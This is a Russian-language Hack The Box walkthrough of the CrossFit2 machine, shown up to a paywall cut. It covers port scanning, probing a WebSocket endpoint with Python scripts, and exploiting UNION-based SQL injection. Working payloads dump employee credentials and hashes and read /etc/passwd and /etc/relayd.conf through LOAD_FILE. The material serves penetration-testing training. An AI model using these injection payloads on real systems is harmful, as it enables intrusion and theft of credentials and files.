Содержание статьи
info
Читай также: «HTB CrossFit. Раскручиваем сложную XSS, чтобы захватить хост».
Разведка
Адрес машины — 10.10.10.232, добавляем его в /
как crossfit2.
и приступаем к сканированию портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. В его результате атакующий узнает, какие службы на хосте принимают соединение. Эта информация позволяет выбрать дальнейший путь к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов для Nmap (опция -A
).
Получаем следующие результаты.
Итак, мы имеем три открытых порта:
- 22 — служба OpenSSH 8.4;
- 80 — веб‑сервер OpenBSD httpd PHP/7.4.12;
- 8953 — служба Unbound.
Первым делом стоит заглянуть на доступный сайт.
Сканирование веб-контента
Чтобы ничего не осталось незамеченным, информацию на сайте будем собирать через Proxy. В шапке сайта находим навигацию, а также определяем, что последняя ссылка ведет на другой поддомен: employees.
. Добавим его в файл /
, также изменим имеющуюся у нас запись с crossfit2.
на crossfit.
.
10.10.10.232 crossfit.htb employees.crossfit.htb
На самом сайте нас встречает форма авторизации, больше ничего мы там не получим. Так как все наши действия фиксированы в Burp, заглянем в Burp History. Там мы обнаружим, что при обращении к главной странице делается запрос на еще один поддомен.
Добавим этот поддомен в файл /
и повторим запрос к главной странице. Затем отправимся в Burp и проверим ответ, который вернул сервер при запросе к новому поддомену.
10.10.10.232 crossfit.htb employees.crossfit.htb gym.crossfit.htb
В ответе видим оповещение о смене протокола на WebSocket.
Точка входа
WebSocket
WebSocket — это протокол связи поверх TCP-соединения, предназначенный для обмена сообщениями между браузером и веб‑сервером в режиме реального времени. WebSocket особенно хорош для сервисов, которые нуждаются в постоянном обмене данными, например для онлайновых игр, торговых площадок, чатов.
После установления соединения уже нет деления на клиент и сервер, а есть два равноправных участника обмена данными. Каждый работает сам по себе и, когда надо, отправляет данные другому.
Для просмотра сообщений по протоколу WebSocket перейдем к Burp WebSocket History. Там находим единственное сообщение, в содержимом которого будет приветствие, информация о команде help
и какой‑то токен.
Работать с WebSocket будет удобно с помощью интерактивной консоли. Ее несложно организовать при помощи Python 3 и модуля websockets
.
python3 -m websockets ws://gym.crossfit.htb/ws/
После подключения нам сразу пришло знакомое сообщение. Давай попробуем получить справку. Сообщение с командой нужно будет отправить тоже в JSON.
{"command":"help"}
В ответе нам сообщают о неверном токене, поэтому повторяем отправку, но включаем новый параметр.
{"command":"help", "token": "29a20a82768c1531e28fe18a519a59fbe986801ebdcd543920dbe3bdaa8c20d9"}
Наше сообщение остается без ответа, а после повторной отправки нам вообще сообщают, что токен больше не действителен и дают новый токен. Интересно! Давай поищем фрагмент кода, который отвечает за отправку сообщений. В панели браузера переходим к вкладке Debug и находим файл ws.
.
В коде находим отправку сообщения в параметре message
и токена — в параметре token
. Отправляем свое сообщение в аналогичном формате.
{"message":"help","token":"cdfc745eb97670fb768678a2fbe3d37eabd307dac630720392892e5525ad87f8"}
Наконец нам пришел ответ, откуда мы узнаем о трех доступных командах: coaches
, classes
и memberships
.
Отправим все три команды и внимательно посмотрим на ответ сервера.
Во всех случаях нам вернули HTML-код страницы. В первом варианте мы получаем просто информацию о тренерах, во втором — список занятий, а вот в ответ на команду memberships
заодно со списком приезжает выбор опций. Реализован он как функция check_availability
, в которую передается число от 1 до 4. Посмотрим код этой функции в уже знакомом файле ws.
.
Функция отправляет три параметра:
-
message
— содержит строкуavailable
; -
params
— число, переданное в функцию; -
token
.
{"message":"available","params":"1","token":"6775bfe48d278f7a5bc90dcb6c0e9b47e8cfcfa266446ef8345f9e01e83e6233"}
В этом сообщении я отправил четыре параметра и получил два разных варианта ответа: успешный и нет. При этом мы еще получаем пояснение в параметре debug
. То есть мы отправляем параметр, который система обрабатывает и дает результат, а значит, это место для тестирования!
Дальше я написал скрипт на Python 3, который в цикле запрашивает параметр.
#!/usr/bin/python3import jsonfrom websocket import create_connectiondef send_command(ws, token): inp = input("> ") ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}') req = ws.recv() token = json.loads(req)['token'] print(req) return tokenws = create_connection("ws://gym.crossfit.htb/ws/")req = ws.recv()token = json.loads(req)['token']for _ in range(100): token = send_command(ws, token)
Все работает, идем дальше.
SQL Injection
Так как ответ выбирается в зависимости от отправленного параметра, первым делом я решил проверить SQL-инъекцию. Благо я регулярно составляю словари для тестов и нужный как раз имелся под рукой. Чтобы использовать его, немного подправим код.
#!/usr/bin/python3import jsonimport timefrom websocket import create_connectiondef send_command(ws, token): inp = input("> ") ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}') req = ws.recv() token = json.loads(req)['token'] print(req) return tokendef send_command2(ws, token, inp): print("input: <" + inp + ">") ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}') req = ws.recv() token = json.loads(req)['token'] print(req) return tokenws = create_connection("ws://gym.crossfit.htb/ws/")req = ws.recv()token = json.loads(req)['token']with open('/home/ralf/tmp/wordlists/SQL/1.check_sqli.txt', 'r') as f: wordlist = f.read().split('\n')[:-1]for w in wordlist: token = send_command2(ws, token, w)
При отправке любого сообщения, содержащего двойную кавычку ("
), ответа мы не получаем. По этой причине исключим из словаря любую нагрузку, содержащую этот символ. И повторим выполнение.
Просматривая вывод, обнаружим реакцию сервера на четыре нагрузки. Смотрим комментарий SQL:
-
1
иand 1 1
вернет действительный ответ;and true -
1
иand 0 1
вернет наш ввод;and false -
1
вернет действительный ответ.-- -
Я нашел уязвимость, и теперь ее нужно эксплуатировать. Первым делом найдем нагрузки для эксплуатации, поэтому сменим словарь и повторим выполнение скрипта.
В результате есть реакция на UNION-нагрузки. А именно при отправке -1
получим ответ, параметр name
которого содержит 2
, а при отправке -1
, в параметре id
ответа присутствует имя пользователя базы данных. Такая уязвимость называется UNION SQL Injection и позволяет добавить к выборке столбцы таблицы, которые ранее были нам не видны.
Вернем последние две строки нашего первоначального скрипта для ручной работы и приступим к эксплуатации.
for _ in range(100): token = send_command(ws, token)
Первым делом получим версию базы данных.
-1 UNION ALL SELECT 1,@@version #
На хосте работает MySQL, поэтому дальше мы будем использовать ее синтаксис. Получим имена всех имеющихся баз. Мы можем выводить всего одну строку, поэтому используем функцию GROUP_CONCAT
для объединения нескольких строк в одну, а разделителем будет пробел.
-1 UNION ALL SELECT 1,GROUP_CONCAT(schema_name, ' ') FROM information_schema.schemata #
База information_schema
служебная, поэтому нас не интересует. Давай узнаем привилегии нашего пользователя в других базах.
-1 UNION ALL SELECT 1,GROUP_CONCAT(grantee, ' ', table_schema,' ', privilege_type, '\n') FROM information_schema.schema_privileges #
Мы можем работать как с базой crossfit
, так и с базой employees
. Для начала получим названия таблиц.
-1 UNION ALL SELECT 1,GROUP_CONCAT('\n', table_schema, ': ',table_name) FROM information_schema.tables WHERE table_schema = 'crossfit' OR table_schema = 'employees' #
В базе crossfit
ничего интересного не нашлось — надежду подавала таблица password_reset
, но она оказалась пустой.
Получим названия столбцов в таблице employees
.
-1 UNION ALL SELECT 1,GROUP_CONCAT('\n', column_name) FROM information_schema.columns WHERE table_name = 'employees' #
Мы можем получить учетные данные для сайта. Запросим имена, пароли и адреса электронной почты.
-1 UNION ALL SELECT 1,GROUP_CONCAT('\n', username, ' ', password, ' ', email) FROM employees.employees #
У нас есть четыре пользователя и хеши от их паролей. С помощью утилиты hashid определим тип хешей.
Наиболее вероятным будет хеш SHA-256 из‑за его популярности, однако с наскока сломать хеши и авторизоваться на сайте не вышло. Ни в онлайновых базах, ни с помощью локального перебора узнать хоть один из прообразов хеша не удалось. Поэтому посмотрим, какие еще у нашего пользователя базы данных есть привилегии.
-1 UNION ALL SELECT 1,GROUP_CONCAT('\n', grantee, ' ', privilege_type) FROM information_schema.user_privileges #
Мы можем читать файлы на хосте! Первым делом, конечно же, прочитаем /
.
-1 UNION ALL SELECT 1,LOAD_FILE('/etc/passwd') #
Находим пользователей node
, david
и john
, у которых есть возможность логиниться в систему. А поскольку мы имеем дело с OpenBSD, абсолютно все службы тоже отражены в этом файле. Просмотрев этот список, отметим демон relayd, который может дать нам новые адреса, и unbound, так как у него есть доступ на внешний порт 8953. Сначала посмотрим настройки релея, прочитав файл /
.
-1 UNION ALL SELECT 1,LOAD_FILE('/etc/relayd.conf') #
Так мы находим еще один домен crossfit-club.
, который добавим в файл /
. Сразу просмотрим одноименный сайт, который нас встречает формой авторизации.
Так как запросы мы по‑прежнему делаем через Burp Proxy, нам это помогает определить подключение некоего API, о чем говорит обращение к /
.
При попытке авторизации с тестовыми учетными данными обнаруживаем еще одну страницу, которая работает с форматом JSON.
К тому же на сайте имеется форма регистрации. Кнопка в ней может быть и отключена, но мы можем попробовать все равно авторизоваться — при помощи Burp Repeater. Получим имена переменных из исходного кода страницы и отправим тестовые данные на /
. Но в ответе нам скажут, что эта функция доступна только администратору.
Тут пока больше ничего не сделать, поэтому идем дальше.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»